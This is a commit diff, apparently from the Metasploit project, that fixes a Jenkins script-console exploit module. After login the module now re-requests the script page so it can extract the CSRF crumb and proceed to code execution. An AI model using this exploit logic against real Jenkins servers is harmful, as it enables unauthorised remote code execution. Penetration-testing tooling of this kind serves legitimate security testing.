Skip to content

Commit 005baa7

Browse files
committed
Retry the script page request to get the token
After logging in to Jenkins the script console page needs to be requested again to get the CSRF token.
1 parent 4c2ae1a commit 005baa7

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,6 @@ def linux_stager
136136
@to_delete = "/tmp/#{file}"
137137
end
138138

139-
140139
def exploit
141140
@uri = target_uri
142141
@uri.path = normalize_uri(@uri.path)
@@ -161,15 +160,18 @@ def exploit
161160
})
162161

163162
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
164-
fail_with(Failure::NoAccess, 'login failed')
163+
fail_with(Failure::NoAccess, 'Login failed')
165164
end
166165
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
167166
@cookie = "#{sessionid}"
167+
168+
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
169+
fail_with(Failure::Unknown) unless res and res.code == 200
168170
else
169171
print_status('No authentication required, skipping login...')
170172
end
171173

172-
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
174+
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
173175
print_status("Using CSRF token: '#{$1}'");
174176
@crumb = $1;
175177
end

0 commit comments

Comments
 (0)